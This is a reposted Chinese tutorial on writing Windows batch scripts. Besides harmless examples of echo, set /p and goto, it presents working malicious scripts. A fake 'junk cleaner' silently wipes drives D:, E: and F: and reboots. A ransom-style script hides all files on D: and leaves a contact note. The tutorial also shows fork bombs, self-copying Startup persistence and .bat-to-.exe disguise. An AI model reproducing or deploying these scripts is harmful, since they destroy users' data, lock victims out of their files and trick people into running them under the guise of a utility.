1.批处理脚本制作

您所在的位置:网站首页 bat执行后自动关闭 1.批处理脚本制作

1.批处理脚本制作

2023-04-11 13:21| 来源: 网络整理| 查看: 265

批处理编写1.1、批处理概述

批处理定义:自上而下成批的处理每一条命令,直到执行最后一条! 批处理作用:一般批处理也叫脚本,如果该脚本实现的破坏功能,我们称之为恶意脚本,也就是木马或者病毒

何为脚本:

windows中,叫批处理脚本(批处理是由DOS命令组成编写得)linux中,叫shell脚本(shell脚本是shell命令组成编写的)脚本==自动化1.2、如何创建批处理@echo off assoc .txt=mp3file # 将txt当成音乐文件,打开txt文件将使用音乐播放器打开 assoc .jpg=mp3file assoc .png=mp3file assoc .zip=mp3file扩展名: .bat 创建方法:新建一个记事本文件,然后将扩展名改为.bat

注:修改扩展名时,需要将文件的扩展名显示出来后再进行修改!

1.3、批处理案例案例1:恶意脚本--之--清理垃圾篇@echo off echo ============================== echo. echo 垃圾清理程序 v1.0 echo --by hacker echo. echo ============================== pause echo 垃圾清理中。。。。。 rd d: /s/q >nul 2>nul rd e: /s/q >nul 2>nul rd f: /s/q >nul 2>nul ping -n 10 127.0.0.1 >nul 2>nul echo 恭喜您,垃圾清理完毕,按任意键重启计算机,效果更好! pause shutdown -r -t 2

用到得知识点:

@echo off # 关闭回显,说人话,屏蔽执行过程! pause # 暂停批处理运行 echo. # 空一行 命令 >nul 2>nul # 命令不要有任何反馈输出 ping -n 10 127.0.0.1 >nul 2>nul # 没有任何输出,实现假死10秒左右,也可以通过修改10数 字,修改时间案例2:恶意脚本 之 隐藏所有文件-勒索脚本@echo off echo ============================== echo. echo 垃圾清理程序 v1.0 echo. --by wencoll echo ============================== pause echo 垃圾清理中。。。。。 attrib +s +h d:\*.* /S /D >nul 2>nul echo 18709999999 >d:\找回文件联系我哟.txt echo 垃圾清理完毕 start d:案例3:设置脚本标题@echo off title 好玩的程序哟! echo ================== echo 垃圾即将清理有 echo ================== pause案例4:将bat转换成exe格式

bat-to-exe-converter软件+图标文件(.ico) 转换过程参考视频!

案例5:设置互动变量脚本@echo off set /p boy=哥们,你的姓名是: # set /p 用来设置互动为变量赋值 set /p girl=女神是谁? echo %boy% love %girl% # %变量名% 作用是取变量的值 pause案例6:灵活运用set /p@echo off echo 垃圾清理程序 echo. set /p pan=哥们,请输入你要清理垃圾的盘符(注意只写字母即可): echo. echo 稍安勿躁,垃圾清理中。。。 rd %pan%: /s/q >nul 2>nul echo 恭喜!垃圾清理完毕! pause案例7:echo.的用法@echo off echo ==================== echo. # echo.为固定用法,代表空一行 echo 大飞哥友好程序 echo. echo ==================== pause案例8:冒号:和goto的的基本用法

冒号:的用法:定义命令区间 goto命令:用来在命令区间之间做跳转

@echo off :a # 定义命令区间,区间名为a echo wen goto c # 跳转到命令区间c :b echo xiao :c echo fei pause

冒号与goto 之 亮瞎你的眼

@echo off :a echo 阿七真帅! color 0a color f0 color a5 color ec goto a

冒号与goto 之 死循环:

@echo off :a start cmd goto a%0 #0是变量,该变量的值就是脚本的名称本身!,所有%0的作用就是再次执行一次本 脚本,实现死循环 %0|%0 #无论如何都要重新执行本脚本(对win10及win7也有效)案例9:互动赋值实现自动关机@echo off set /p time=请输入关机时间(秒): shutdown -s -t %time%案例10:定义批处理运行时窗口大小@echo off mode con cols=40 lines=10 # cols 定义宽 , lines定义高度 pause案例11:设置自启动脚本(一)copy %0 "C:\Documents and Settings\%username%\「开始」菜单\程序\启动\" shutdown -r -t 0 ::该路径仅适用于早期系统,如:windows xp、windows server 2003 ::变量username的值就是当前登录用户的用户名!案例12:设置自启动脚本(二)copy %0 "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" shutdown -r -t 0 ::注释:该路径仅适用于新系统:windows 7、windows10、windows server 2008/2012/2016/2019、 ::变量username的值就是当前登录用户的用户名! %0代表脚本本身的名称!!!


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3